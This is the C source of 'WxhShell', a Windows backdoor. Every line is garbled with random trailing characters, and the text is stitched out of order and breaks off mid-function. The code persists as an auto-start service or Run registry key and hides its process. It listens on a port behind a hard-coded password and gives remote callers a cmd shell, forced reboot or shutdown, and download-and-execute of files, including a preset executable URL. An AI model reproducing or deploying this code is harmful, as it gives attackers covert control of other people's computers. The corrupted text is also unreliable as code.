    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sx;V,"Y  
    if(Boot(SHUTDOWN)) H3p4,Y}'#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [I+)Ak5  
    else { buq *abON  
    closesocket(wsh); ="#:=i]  
    ExitThread(0); %S(#cf!HP  
    } g6[/F-3Qlf  
    break; Rk437vQD,  
    } =0@d|LeZ  
  // 获取shell +eV4g2w)  
  case 's': { v$.JmL0^J  
    CmdShell(wsh); '?vgp  
    closesocket(wsh); s60:0>  
    ExitThread(0); C]\^B6l<  
    break;  MrKU,-  
  } gJcXdv=]2  
  // 退出 8 ACY uN\  
  case 'x': { rHC+nou  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (IoPU+1b  
    CloseIt(wsh); SBN_>;$c5}  
    break; Sob $j  
    } .^)C:XiW  
  // 离开 5KC\1pe i  
  case 'q': { xu_XX#9?b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n&3iv ^  
    closesocket(wsh); Vtz yB  
    WSACleanup(); Q[ 9rA  
    exit(1); [c KI0  
    break; %_j?<h&  
        } 7&RJDa:a7T  
  } R>e3@DQ~  
  } $3]E8t  
) v[Knp'  
  // 提示信息 u':0"5}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FB =  
} ?ck^? p7  
  } [! dnm1   
>QZt)<[  
  return; @]ptY*   
}  Z@.ol Y  
Z#TgFQ3u  
// shell模块句柄 3R:7bex  
int CmdShell(SOCKET sock) z)<pqN  
{ %:be{Y6  
STARTUPINFO si; .2{C29g  
ZeroMemory(&si,sizeof(si)); 32-3C6f@oZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tN'- qdm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `~aLSpB65  
PROCESS_INFORMATION ProcessInfo; h@>rjeY@  
char cmdline[]="cmd"; jK C qH$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X!M fJ^)q  
  return 0; Z_OqXo=  
} ;5oH6{7_Z  
WJFTy+bD  
// 自身启动模式 QhE("}1  
int StartFromService(void) xBI"{nGoN  
{ |Qt`p@W  
typedef struct *l?% o{  
{ YI),q.3X~  
  DWORD ExitStatus; sei!9+bZr  
  DWORD PebBaseAddress; zk 'e6  
  DWORD AffinityMask; JmJ,~_  
  DWORD BasePriority; )r|zi Z{F  
  ULONG UniqueProcessId; TNPGw!  
  ULONG InheritedFromUniqueProcessId; x]d"|jmVZ  
}   PROCESS_BASIC_INFORMATION; *}iT6OJ  
(27F   
PROCNTQSIP NtQueryInformationProcess; TaHi+  
r+#V{oE_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @n;YF5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;k41+O:f@  
pYhI{  
  HANDLE             hProcess; -WW!V(~p  
  PROCESS_BASIC_INFORMATION pbi; bQN4ozSi  
g`8 mh&u%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wPO@f~[Ji  
  if(NULL == hInst ) return 0; lSbM)gL  
l;VGJMPi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jp*AIj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cSs/XJZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }9Dv\"t5  
']6#7NU  
  if (!NtQueryInformationProcess) return 0; "vRqtEBO@  
(uK), *6B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y)5uK:)^  
  if(!hProcess) return 0; ]aW.b_7<9  
C<=p"pWw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Di1G  
o-CJdOS  
  CloseHandle(hProcess); nT .2jk+  
<C`eZ}Qqv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b!HFv;^N  
if(hProcess==NULL) return 0; 4aGpKvW  
dvWlx]'  
HMODULE hMod; Mc3h  R0  
char procName[255]; ~u`! Gi  
unsigned long cbNeeded; .&Gtw _  
COL8YY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RkV3_c  
257;@;  
  CloseHandle(hProcess); 0m!ZJHe  
\*"0wR;[K  
if(strstr(procName,"services")) return 1; // 以服务启动 KIY_EE$?  
<0qY8  
  return 0; // 注册表启动 EGr5xR-  
} k#+^=F^)I  
8A]q!To  
// 主模块 0H]9$D  
int StartWxhshell(LPSTR lpCmdLine) %LlKi5u]  
{ m/B9)JzY  
  SOCKET wsl; ^a5~FI:  
BOOL val=TRUE; H.~+{jTr  
  int port=0; pR7G/]U$A  
  struct sockaddr_in door; pG=zGx4  
"Ksd9,J\b  
  if(wscfg.ws_autoins) Install(); )4~XZt1r  
9>, \QrrH  
port=atoi(lpCmdLine); vjWgR9 4/{  
evk <<zi  
if(port<=0) port=wscfg.ws_port; (8F?yBu  
U]&%EqLS  
  WSADATA data; [~JN n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 93 b5S>&r  
@].aFhH`)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o"CqVRR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ArKrsI#H-  
  door.sin_family = AF_INET; j*\MUR=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sW`iXsbWM>  
  door.sin_port = htons(port); IN*Z__l8j`  
2uB26SEIl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \srOU|  
closesocket(wsl); *g.,[a0  
return 1; 3CL:VwoW  
} %['F[Mo  
KDzIarC  
  if(listen(wsl,2) == INVALID_SOCKET) { ]qQB+]WN  
closesocket(wsl); >CA1Ub&ls  
return 1; z$,hdZ]  
} +eat,3Ji  
  Wxhshell(wsl); tjL#?j  
  WSACleanup(); , >6X_XJQ  
bJvRQrj*3  
return 0; }Q*ec/^{f  
N4FG_  N  
} I!%@|[ Ow  
S+ x [1#r  
// 以NT服务方式启动 ON^u|*kO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;0WlvKF  
{ Cq'r 'cBZ  
DWORD   status = 0; #-8/|_*  
  DWORD   specificError = 0xfffffff; c73ZEd+j  
{K}+$jzGVt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IEj`:]d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -rrg?4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fe,CY5B{  
  serviceStatus.dwWin32ExitCode     = 0; 34:=A0z  
  serviceStatus.dwServiceSpecificExitCode = 0; ^Y!`wp2vn  
  serviceStatus.dwCheckPoint       = 0; D-/A>  
  serviceStatus.dwWaitHint       = 0; (yVI<Os{a  
n+w>Qz'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P#]jPW  
  if (hServiceStatusHandle==0) return; pwQ."2x  
ul1Vsj  
status = GetLastError(); n%hnL$!z  
  if (status!=NO_ERROR) CK%W +";  
{ :2+:(^l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p<NgT1"{  
    serviceStatus.dwCheckPoint       = 0; /vU31_eZt  
    serviceStatus.dwWaitHint       = 0; ^|2qD: ;  
    serviceStatus.dwWin32ExitCode     = status; 0 $r{h}[^c  
    serviceStatus.dwServiceSpecificExitCode = specificError; G{9y`;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t `oP;  
    return; 6C=.8eP  
  } <7+.5iB3  
T/nRc_I+^B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [DviN  
  serviceStatus.dwCheckPoint       = 0; 5,3h'\ "!  
  serviceStatus.dwWaitHint       = 0; 2TO1i0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N[%IrN3  
} %\u>%s <9  
(G Y`O  
// 处理NT服务事件,比如:启动、停止 \ U_DTI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +Y+kx"8  
{ L!RLw4  
switch(fdwControl) K} @q+  
{ |b'AWI81D  
case SERVICE_CONTROL_STOP: 7>TG ]&  
  serviceStatus.dwWin32ExitCode = 0; [?A0{#5)8x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6/ )A6Tt  
  serviceStatus.dwCheckPoint   = 0; x :s-\>RcA  
  serviceStatus.dwWaitHint     = 0; idQr^{  
  { -#@;-2w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @,hvXl-G*  
  } !!AutkEg>  
  return; sj1x>  
case SERVICE_CONTROL_PAUSE: ^"I!+Teb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +Aq}BjD#  
  break; \4 DH&gZ[  
case SERVICE_CONTROL_CONTINUE: B7 T+a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3UEh%Ho  
  break; R~o?X ^^O  
case SERVICE_CONTROL_INTERROGATE: q0o6%c:gW  
  break; GauIe0qV  
}; o_S8fHqjt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?V+=uTCq  
} :'03*A_[  
%NuS!v>  
// 标准应用程序主函数 X#fI$9a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %~@}wHMB  
{ 5u8 YHv  
QAr1U7{(.  
// 获取操作系统版本 i4l?q#X  
OsIsNt=GetOsVer(); Y,{Xv  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  I2b[  
@jfd.? RK!  
  // 从命令行安装 +'l@t bP  
  if(strpbrk(lpCmdLine,"iI")) Install(); '{EDdlX  
#'8E%4  
  // 下载执行文件 :jA~zHO  
if(wscfg.ws_downexe) { $8b/"Qm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :`d& |BB  
  WinExec(wscfg.ws_filenam,SW_HIDE); z5?xmffB  
} [b`k\~N4r  
J::dY~@  
if(!OsIsNt) { V`G]4}  
// 如果时win9x,隐藏进程并且设置为注册表启动 yzYPT}t  
HideProc(); %@LVoP!@!  
StartWxhshell(lpCmdLine); ,oR}0(^"\<  
} =6ojkTk  
else Rh%x5RFFc  
  if(StartFromService()) `.@N9+Aj  
  // 以服务方式启动 6j0!$q^  
  StartServiceCtrlDispatcher(DispatchTable); Av{1~%hU  
else jGId)f!)  
  // 普通方式启动 &uC7W.|  
  StartWxhshell(lpCmdLine); ~"8b\oLW  
V^"5cW  
return 0; rTQrlQ:@  
} |iU#!+zY  
(2 X`imJ  
%ZZ\Xj  
^+I{*0{/[  
=========================================== lO[[iMHl<  
Go8 m  
GC.   
\ 7jK6;R<  
S'q (Qo  
nF]lSg&]X  
" =98@MX%P  
+eQg+@u  
#include <stdio.h> "??$yMW  
#include <string.h> YjAwt;%-D  
#include <windows.h> ;BsyN[bF  
#include <winsock2.h> YFeF(k!!n  
#include <winsvc.h> ; &$djP  
#include <urlmon.h> )V7bi^r  
6cDe_v|,  
#pragma comment (lib, "Ws2_32.lib") |4UW.dGHPo  
#pragma comment (lib, "urlmon.lib") ,5.ve)/dE  
@uApm~}  
#define MAX_USER   100 // 最大客户端连接数 zyTeF~_  
#define BUF_SOCK   200 // sock buffer pKMy:j  
#define KEY_BUFF   255 // 输入 buffer >La!O~d  
rZEL7{  
#define REBOOT     0   // 重启 jt=%oa  
#define SHUTDOWN   1   // 关机 _NA[g:DZ&O  
<'f+ nC=2  
#define DEF_PORT   5000 // 监听端口 HJ~0_n&  
DAa??/,x7  
#define REG_LEN     16   // 注册表键长度  Em?bV(  
#define SVC_LEN     80   // NT服务名长度 ~qekM>z  
bLuAe EA  
// 从dll定义API x%@n$4wk7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G&,F-|`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z$C}V/Ey  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YBF|0A{[Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O!xul$9  
UaG })  
// wxhshell配置信息 u)J&3Ah%  
struct WSCFG { 6ZKSet8  
  int ws_port;         // 监听端口 eb10=Lmj  
  char ws_passstr[REG_LEN]; // 口令 PaIE=Q4gJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no s 1~&PH^  
  char ws_regname[REG_LEN]; // 注册表键名 .d/e?H:  
  char ws_svcname[REG_LEN]; // 服务名 },#@q_E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =r=?N\7I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x`9IQQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L{&5Ets  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )/Z% HBn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `0)'&HbLY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U}hQVpP#  
'wA4}f  
}; ol#| .a2O  
df9 jT?l  
// default Wxhshell configuration {XR 3L'X  
struct WSCFG wscfg={DEF_PORT, A-S!Z2m\  
    "xuhuanlingzhe", <+3-(&  
    1, S1SsJo2\  
    "Wxhshell", a]NH >d  
    "Wxhshell", s[2>r#M  
            "WxhShell Service", V d`}F0WD  
    "Wrsky Windows CmdShell Service", h_*!cuH  
    "Please Input Your Password: ", ;cpQ[+$nKp  
  1, Wks?9 )Is  
  "http://www.wrsky.com/wxhshell.exe", 7j,u&%om  
  "Wxhshell.exe" >oYr=O  
    }; (?y (0%q  
o!$O+%4  
// 消息定义模块 xQU$E|I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z~[EZgIg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o%j[]P@4G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v#X l  
char *msg_ws_ext="\n\rExit."; CQ;.}=j ,  
char *msg_ws_end="\n\rQuit."; 4arqlz lo  
char *msg_ws_boot="\n\rReboot..."; u*w'.5l  
char *msg_ws_poff="\n\rShutdown..."; ~Y)h[  
char *msg_ws_down="\n\rSave to "; Tup2;\y  
K3*8-Be  
char *msg_ws_err="\n\rErr!"; Thc"QIk&4  
char *msg_ws_ok="\n\rOK!"; Lnk(l2~U  
0D==0n  
char ExeFile[MAX_PATH]; sQl`0|VH  
int nUser = 0; V(#z{!  
HANDLE handles[MAX_USER]; AhA4IOG`.  
int OsIsNt; q\uzmOh  
Ew,1*WK!  
SERVICE_STATUS       serviceStatus; zt3y5'Nk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @hVF}ybp  
}eLnTi{  
// 函数声明 +!6dsnr8  
int Install(void); q'9}Hz  
int Uninstall(void); P-Up v6J3  
int DownloadFile(char *sURL, SOCKET wsh); J{w[vcf  
int Boot(int flag); Rzj1D:?X@  
void HideProc(void); a9%^Jvm"  
int GetOsVer(void); Pbo759q 1  
int Wxhshell(SOCKET wsl); Ms61FmA4  
void TalkWithClient(void *cs); K (!+l  
int CmdShell(SOCKET sock); -F338J+J24  
int StartFromService(void); yRdME>_L  
int StartWxhshell(LPSTR lpCmdLine); @gM>Lxj  
i*l-w4D^U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3;-P(G@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I[g;p8jr  
r@)_>(  
// 数据结构和表定义 i pi^sCYp  
SERVICE_TABLE_ENTRY DispatchTable[] = z%0'v`7  
{ OA?pBA  
{wscfg.ws_svcname, NTServiceMain}, %Bf;F;xuB  
{NULL, NULL} *= ;M',nx  
}; [OU[i(,{  
YYs/r  
// 自我安装 YEiQ`sYKG  
int Install(void) 'Z{_w s  
{ H="E#AC%8/  
  char svExeFile[MAX_PATH]; GB&^<@  
  HKEY key; WJA0 `<~  
  strcpy(svExeFile,ExeFile); PgMU|O7To  
WETnrA"N  
// 如果是win9x系统,修改注册表设为自启动 8x/]H(J  
if(!OsIsNt) { fC<pCdsg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l.3|0lopX)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8G<{L0J%!  
  RegCloseKey(key); a\]g lw\;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W[4 V#&Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xc H_Y  
  RegCloseKey(key); 8}_M1w6v  
  return 0; QHmF,P  
    } :41Ch^\E  
  } 8H7=vk+  
} +5xVgIk#  
else { T-)lnrs^  
XtP5IN\S  
// 如果是NT以上系统,安装为系统服务 M4rK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i+XHXpk  
if (schSCManager!=0) vDit&Lh{T  
{ NG\g_^.M  
  SC_HANDLE schService = CreateService M9ACaf@  
  ( LEn+0^hX  
  schSCManager, U_.9H _G  
  wscfg.ws_svcname, U ,7O{YM  
  wscfg.ws_svcdisp, <Y"h2#M"  
  SERVICE_ALL_ACCESS, 1n-+IR"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qC:QY6g$N  
  SERVICE_AUTO_START, d,+a}eTP'  
  SERVICE_ERROR_NORMAL, 5u=$m^@{  
  svExeFile, nA4PY]  
  NULL, [#mRlL0yk  
  NULL, hcX`X2^  
  NULL, <%b a 3<sg  
  NULL,  f2.|[  
  NULL yO*HJpc   
  ); +DwE~l  
  if (schService!=0) H9+[T3b  
  { {[:]}m(c  
  CloseServiceHandle(schService); ,(y6XUV~  
  CloseServiceHandle(schSCManager); Bp9_\4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D@?Tq,= [  
  strcat(svExeFile,wscfg.ws_svcname); f3oGB*5>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \.K4tY+V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1G`zwfmh~  
  RegCloseKey(key); eFXQ~~gOj  
  return 0; _/[}PQC6G  
    } p{0NKyOvU  
  } L{F[>^1Sb  
  CloseServiceHandle(schSCManager); #dhce0m  
} a%XF"*^v  
} F\Q X=n  
<1eD*sC?g  
return 1; |y.^F3PE  
} d3jzGJrU}  
?)V|L~/  
// 自我卸载 r(OH  
int Uninstall(void) E x )fXQ+  
{ K*9~ g('  
  HKEY key; mV++7DY  
PfjD!=yS=h  
if(!OsIsNt) { TW~%1G_v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^`+Kjhht  
  RegDeleteValue(key,wscfg.ws_regname); _ZHDr[  
  RegCloseKey(key); x%`tWE|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BK)3b6L=%  
  RegDeleteValue(key,wscfg.ws_regname); /C6$B)w_*{  
  RegCloseKey(key); %v)+]Ds{  
  return 0; ["0DXm%t  
  } 1TlMB  
} &|I{ju_  
} 7 0Wy]8<P  
else { K_GqM9  
h pKrP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,Q,3^v-  
if (schSCManager!=0) PM^Xh*~  
{ ->r udRQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^KUM4. 6  
  if (schService!=0) 4|h>.^  
  { jZR2Nx}16  
  if(DeleteService(schService)!=0) { v-&@c  
  CloseServiceHandle(schService); ;T3}#Q*qC  
  CloseServiceHandle(schSCManager); }e-D&U  
  return 0; ![ @i+hl  
  } 1 EwCF  
  CloseServiceHandle(schService); iD) P6"  
  } UL0n>Wa5  
  CloseServiceHandle(schSCManager); /E^j}H{  
} p+}eP|N  
} U"OA m}  
C)BVsHT4  
return 1; Gdv{SCV  
} xG:7AGZ$[  
HY,VJxR[  
// 从指定url下载文件 M9QxF  
int DownloadFile(char *sURL, SOCKET wsh) xV.UM8  
{ UQnv#a>  
  HRESULT hr; 4%*`' o$_  
char seps[]= "/"; , %A2wV  
char *token; }*,z~y}V#  
char *file; 3Gt@Fo=  
char myURL[MAX_PATH]; V`xE&BI  
char myFILE[MAX_PATH]; ] 69z-;  
1i}p?sU  
strcpy(myURL,sURL); qb KcI+)47  
  token=strtok(myURL,seps); Z&5cJk W  
  while(token!=NULL) @!mjjeG+1  
  { AME<V-5  
    file=token; 3yu,qb'"&  
  token=strtok(NULL,seps); ZG)6{WS  
  } w"AO~LF  
B+lnxr0t  
GetCurrentDirectory(MAX_PATH,myFILE); r?}L^bK  
strcat(myFILE, "\\"); VL2ACv(  
strcat(myFILE, file); $O,IXA  
  send(wsh,myFILE,strlen(myFILE),0); 9iN}v   
send(wsh,"...",3,0); VE*& t>I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k!{h]D0  
  if(hr==S_OK) 9` G}GU]@}  
return 0; w"OeS;#e:  
else 1G 63eH)!  
return 1; YiC_,8A~  
A2"$B\j1  
} rQ&F Gb  
5mg] su&#  
// 系统电源模块 g&d tOjM  
int Boot(int flag) @.l?V6g9T  
{ ,e+S7 YX  
  HANDLE hToken; 6]Ri$V&"  
  TOKEN_PRIVILEGES tkp; (z^9 87G  
7jYW3  
  if(OsIsNt) { gkld}t*U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kx07Ium  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MXynv";<H  
    tkp.PrivilegeCount = 1; +6\1 d5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fe7DS)U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mH7Mch| m  
if(flag==REBOOT) { \O+Hmi^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rB.LG'GG]  
  return 0; JV;-P=o1B  
} )k&!&  
else { U\UlQ p?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~jM!8]=  
  return 0; #<gD@Jybu  
} k>!A~gfP~  
  } ZvkBF9d  
  else { laGIu0s {  
if(flag==REBOOT) { >UB ozmF=\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VB@M=ShKK  
  return 0; Rx.dM_S  
} ;09U*S$eK  
else { .{66q#.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K)TMr"j\  
  return 0; N.|uPq$R  
} Q5/BEUkC  
} dS~#Lzm  
]B9Ut&mF;  
return 1; nVv=smVOt  
} rWxQ;bb#  
5Jm %*Wb  
// win9x进程隐藏模块 w$[ck=  
void HideProc(void) o 9{~F`{p  
{ <wO8=bem  
D|X@aUp 8}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'U'Y[*m@  
  if ( hKernel != NULL ) cj9<!"6  
  { ,|Lf6k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1bpjj'2%x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `T~~yM)q  
    FreeLibrary(hKernel); a29rD$  
  } 2j*o[kAE  
F}{uY(hv"[  
return; V] 0~BV  
} EHcgWlT u  
zua=E2  
// 获取操作系统版本 .lIkJQ3d  
int GetOsVer(void) -KFozwr5/  
{ j;_ >,\  
  OSVERSIONINFO winfo; <hM`]/J55  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jevr.&;O  
  GetVersionEx(&winfo); "`aLSw75x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2JS&zF  
  return 1; :/941?%M  
  else  v{ *#  
  return 0; R[_UbN 28  
} 6A*k  
1"P^!N  
// 客户端句柄模块 H3qM8_GUA  
int Wxhshell(SOCKET wsl) `w/`qG:dK  
{ gQ~X;'  
  SOCKET wsh; p:CpY'KV_  
  struct sockaddr_in client; c&n.JV   
  DWORD myID; B|(M xR6m  
l8Ks{(wh  
  while(nUser<MAX_USER) Zm~oV?6  
{ Ht!]%  
  int nSize=sizeof(client); +-+%6O<C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 13KfI  
  if(wsh==INVALID_SOCKET) return 1; tf_<w?~  
@ob4y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <u%&@G$F>  
if(handles[nUser]==0) tNbZ{=I>  
  closesocket(wsh); TSHQ>kP  
else o9#8q_D9  
  nUser++; w5tcO%+k1  
  } zs@xw@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \c.MIDp"  
380M &Guh  
  return 0; RNB ha&  
} E ) iEWc  
mcFJ__3MAV  
// 关闭 socket }:2GD0Ru  
void CloseIt(SOCKET wsh) pwG"_|h  
{ HE0@`(mCpa  
closesocket(wsh); Nn]|#lLP  
nUser--; :]g>8sWL  
ExitThread(0); 89 6oz>  
} #2\ 0#HN  
|E#+X  
// 客户端请求句柄 [~#]p9|L  
void TalkWithClient(void *cs) :kz"W ya.  
{ (h3f$  
fce~a\y0  
  SOCKET wsh=(SOCKET)cs; e qzmEg  
  char pwd[SVC_LEN]; y m~  
  char cmd[KEY_BUFF]; c^ifHCt|  
char chr[1]; Td"_To@jd  
int i,j; XFv)]_G  
7g&"clRGO  
  while (nUser < MAX_USER) { SZ'2/#R>  
(_aM26s  
if(wscfg.ws_passstr) { 6mAaFDI,R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q"+)xj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v62M8r,Y  
  //ZeroMemory(pwd,KEY_BUFF); :G\X  
      i=0; eNEMyv5{w4  
  while(i<SVC_LEN) { i SD?y#  
1x8zub B  
  // 设置超时 lI"~*"c`  
  fd_set FdRead; 6b6rM%B.oD  
  struct timeval TimeOut; oFC]L1HN&  
  FD_ZERO(&FdRead); D`e6#1DbJ  
  FD_SET(wsh,&FdRead); (m3 <)  
  TimeOut.tv_sec=8; Je1'0h9d  
  TimeOut.tv_usec=0; ZS\~GQbG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n B .?=eUa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n |e=7?H8  
jf WZLb)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pv#>j\OR&  
  pwd=chr[0]; h .%)RW?  
  if(chr[0]==0xd || chr[0]==0xa) { eF%>5  
  pwd=0; fDU_eyt/Z'  
  break;  ZFH;  
  } @7j$$  
  i++; yy(.|  
    } %c"t`  
N" =$S|Gs  
  // 如果是非法用户,关闭 socket #vs=yR/tn{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :)eU)r"s4  
} 4?2$~\ x  
V[RsSZx =  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =)Z~ w`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \zMx~-2oN  
1X,\:F.-+  
while(1) { r 1x2)  
c*c 8S~6  
  ZeroMemory(cmd,KEY_BUFF); G%#M17   
.2v)x  
      // 自动支持客户端 telnet标准   ]r\d 5  
  j=0;  Bl1^\[#  
  while(j<KEY_BUFF) { 31)eDs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N6thbH@  
  cmd[j]=chr[0]; 'irHpN6n  
  if(chr[0]==0xa || chr[0]==0xd) { 7~ =r9-&G  
  cmd[j]=0; :|PI_ $4H  
  break; UJ^MS4;I3  
  } kX8Ey  
  j++; X*QQVj  
    } dc=~EG-_rM  
1kdQh&~G  
  // 下载文件 YU6D;  
  if(strstr(cmd,"http://")) { JuM4Njz|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f C_H0h3  
  if(DownloadFile(cmd,wsh)) u|EHe"V"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Iu Pg=|#  
  else 7:$zSj# y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U%u%_{-  
  } -*AUCns#  
  else { 2'T uS?  
:vo#(  
